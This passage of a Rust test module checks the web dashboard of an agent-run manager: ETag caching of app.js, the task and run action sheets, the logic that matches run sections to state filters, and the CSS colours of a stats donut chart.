15960 .expect("an etag to revalidate against")
15961 .to_owned();
15962 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15963 assert_eq!(
15964 js.header("cache-control"),
15965 Some("no-cache, must-revalidate"),
15966 "the phone has to ask every time"
15967 );
15968
15969 let again = fx
15972 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15973 .await;
15974 assert_eq!(
15975 again.status, 304,
15976 "a deck it already has costs one round trip"
15977 );
15978 assert!(again.body.is_empty(), "304 carries no body");
15979
15980 let weak = fx
15983 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15984 .await;
15985 assert_eq!(weak.status, 304);
15986 let stale = fx
15987 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15988 .await;
15989 assert_eq!(stale.status, 200, "an older build must be replaced");
15990 assert!(stale.body.contains("renderRunActions"));
15991 }
15992
15993 #[test]
15994 fn the_task_detail_has_an_actions_fab_and_sheet() {
15995 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15996 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15997 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15998 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16000 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16001 assert!(APP_JS.contains("renderTaskActions(task);"));
16003 assert!(APP_JS.contains("renderTaskActions(null);"));
16004 let sheet = APP_JS
16006 .find("function renderTaskActions")
16007 .expect("sheet renderer");
16008 let body = &APP_JS[sheet..sheet + 3000];
16009 assert!(body.contains("changePriority("));
16010 assert!(body.contains("openTaskEdit(task)"));
16011 assert!(body.contains("renderTaskHoldBox(host"));
16012 assert!(body.contains("renderTaskDoneBox(host"));
16013 assert!(body.contains("renderTaskDeleteBox(host"));
16014 assert!(APP_JS.contains("API.priority(id)"));
16015 assert!(APP_JS.contains("API.deleteTask(id)"));
16016 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16018 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16020 }
16021
16022 #[test]
16023 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16024 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16025 let actions = INDEX_HTML
16026 .find("id=\"run-actions-box\"")
16027 .expect("actions box");
16028 assert!(task < actions, "the task entry comes first in the sheet");
16029 assert!(APP_JS.contains("renderRunTaskEntry"));
16030 assert!(APP_JS.contains("\"Open task \""));
16031 assert!(APP_JS.contains("started directly, no task"));
16033 assert!(APP_JS.contains("sheet-task-link"));
16034 assert!(APP_JS.contains("task-chip-link"));
16035 }
16036
16037 #[test]
16038 fn the_deck_never_sends_the_operator_to_a_terminal() {
16039 assert!(
16042 !APP_JS.contains("Run `magi fold` first"),
16043 "the deck must offer the fold, not prescribe a shell command"
16044 );
16045 assert!(APP_JS.contains("foldRun:"));
16046 assert!(APP_JS.contains("resumeRun:"));
16047 assert!(APP_JS.contains("renderRunActions"));
16048
16049 assert!(APP_JS.contains("armedFold"));
16051 assert!(APP_JS.contains("Yes, fold worktrees"));
16052
16053 assert!(APP_JS.contains("can no longer be resumed"));
16056 }
16057
16058 #[test]
16059 fn a_finished_run_explains_itself_with_its_own_last_line() {
16060 assert!(
16066 !APP_JS.contains("collapsed on agent quota"),
16067 "a stall must not be explained by a cause the deck did not check"
16068 );
16069 assert!(
16070 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16071 "and a block must not offer a guess with an `or` in it"
16072 );
16073
16074 assert!(
16078 APP_JS.contains("setText(r.event, run.event || \"\")"),
16079 "the run's last line is rendered unconditionally"
16080 );
16081 assert!(
16082 !APP_JS.contains("moving && run.event"),
16083 "and never gated on the run still moving"
16084 );
16085
16086 assert!(APP_JS.contains("lost to quota"));
16088 }
16089
16090 #[test]
16112 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16113 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16114 let shapes_body_start =
16115 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16116 let shapes_close = APP_JS[shapes_body_start..]
16117 .find("].map(")
16118 .expect("the shape list is closed by its done-computing .map(...)")
16119 + shapes_body_start;
16120 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16121
16122 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16123 for entry in shapes_src.split('{').skip(1) {
16124 let waiting = entry.contains("waiting: true");
16125 let dead = entry.contains("live: \"dead\"");
16126 let status_at =
16127 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16128 let status_end = entry[status_at..]
16129 .find('"')
16130 .expect("the status string is closed")
16131 + status_at;
16132 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16133 }
16134 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16135
16136 let done_rule_marker = "done: !";
16140 let done_rule_at = APP_JS[shapes_close..]
16141 .find(done_rule_marker)
16142 .expect("the done rule follows the shape list")
16143 + shapes_close
16144 + done_rule_marker.len();
16145 let includes_at = APP_JS[done_rule_at..]
16146 .find(".includes(shape.status)")
16147 .expect("the done rule ends in .includes(shape.status)")
16148 + done_rule_at;
16149 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16150 .trim()
16151 .trim_start_matches('[')
16152 .trim_end_matches(']')
16153 .split(',')
16154 .map(|s| s.trim().trim_matches('"'))
16155 .filter(|s| !s.is_empty())
16156 .collect();
16157
16158 let shapes: Vec<(bool, String, bool, bool)> = shapes
16159 .into_iter()
16160 .map(|(waiting, status, dead)| {
16161 let done = !not_done.contains(&status.as_str());
16162 (waiting, status, dead, done)
16163 })
16164 .collect();
16165
16166 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16170 if waiting {
16171 return "waiting";
16172 }
16173 if dead
16174 && !matches!(
16175 status,
16176 "merged"
16177 | "ready"
16178 | "stalled"
16179 | "blocked"
16180 | "failed"
16181 | "verified_noop"
16182 | "superseded"
16183 | "already_in_base"
16184 )
16185 {
16186 return "stale";
16187 }
16188 match status {
16189 "merged" | "ready" => "landed",
16190 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16191 | "already_in_base" => "ended",
16192 _ => "flight",
16193 }
16194 }
16195
16196 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16199 match filter_key {
16200 "active" => !done,
16201 "flight" => !done && !waiting && !dead,
16202 "stale" => !done && !waiting && dead,
16203 "waiting" => waiting,
16204 "done" => done,
16205 "all" => true,
16206 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16207 }
16208 }
16209
16210 let compatible = |section: &str, filter_key: &str| {
16211 shapes.iter().any(|(waiting, status, dead, done)| {
16212 run_section(*waiting, status, *dead) == section
16213 && filter_matches(filter_key, *waiting, *dead, *done)
16214 })
16215 };
16216
16217 let expected = [
16222 ("waiting", [true, false, false, true, true, true]),
16223 ("stale", [true, false, true, false, false, true]),
16224 ("flight", [true, true, false, false, false, true]),
16225 ("landed", [false, false, false, false, true, true]),
16226 ("ended", [false, false, false, false, true, true]),
16227 ];
16228 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16229
16230 for (section, wants) in expected {
16231 for (filter_key, want) in filter_keys.iter().zip(wants) {
16232 assert_eq!(
16233 compatible(section, filter_key),
16234 want,
16235 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16236 );
16237 }
16238 }
16239
16240 assert!(
16243 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16244 );
16245 assert!(APP_JS.contains(
16246 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16247 ));
16248 assert!(APP_JS.contains(
16249 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16250 ));
16251 }
16252
16253 #[tokio::test]
16254 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16255 let dir = tempfile::tempdir().expect("tempdir");
16259 let explicit = dir.path().join("not-a-checkout");
16260 std::fs::create_dir_all(&explicit).expect("create dir");
16261 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16262
16263 let missing = dir.path().join("does-not-exist-at-all");
16264 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16265 }
16266
16267 #[test]
16268 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16269 assert!(APP_JS.contains("function statsDonutArcs"));
16270 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16271 assert!(APP_JS.contains("function statusInBucket"));
16273 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16274 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16275 let buckets = [
16276 "merged",
16277 "ready",
16278 "in_progress",
16279 "blocked",
16280 "failed",
16281 "verified_noop",
16282 "superseded",
16283 "stalled",
16284 ];
16285 for key in buckets {
16286 let var = format!("--verdict-{key}:");
16287 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16289 assert!(
16290 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16291 "{key}"
16292 );
16293 }
16294 }
16295}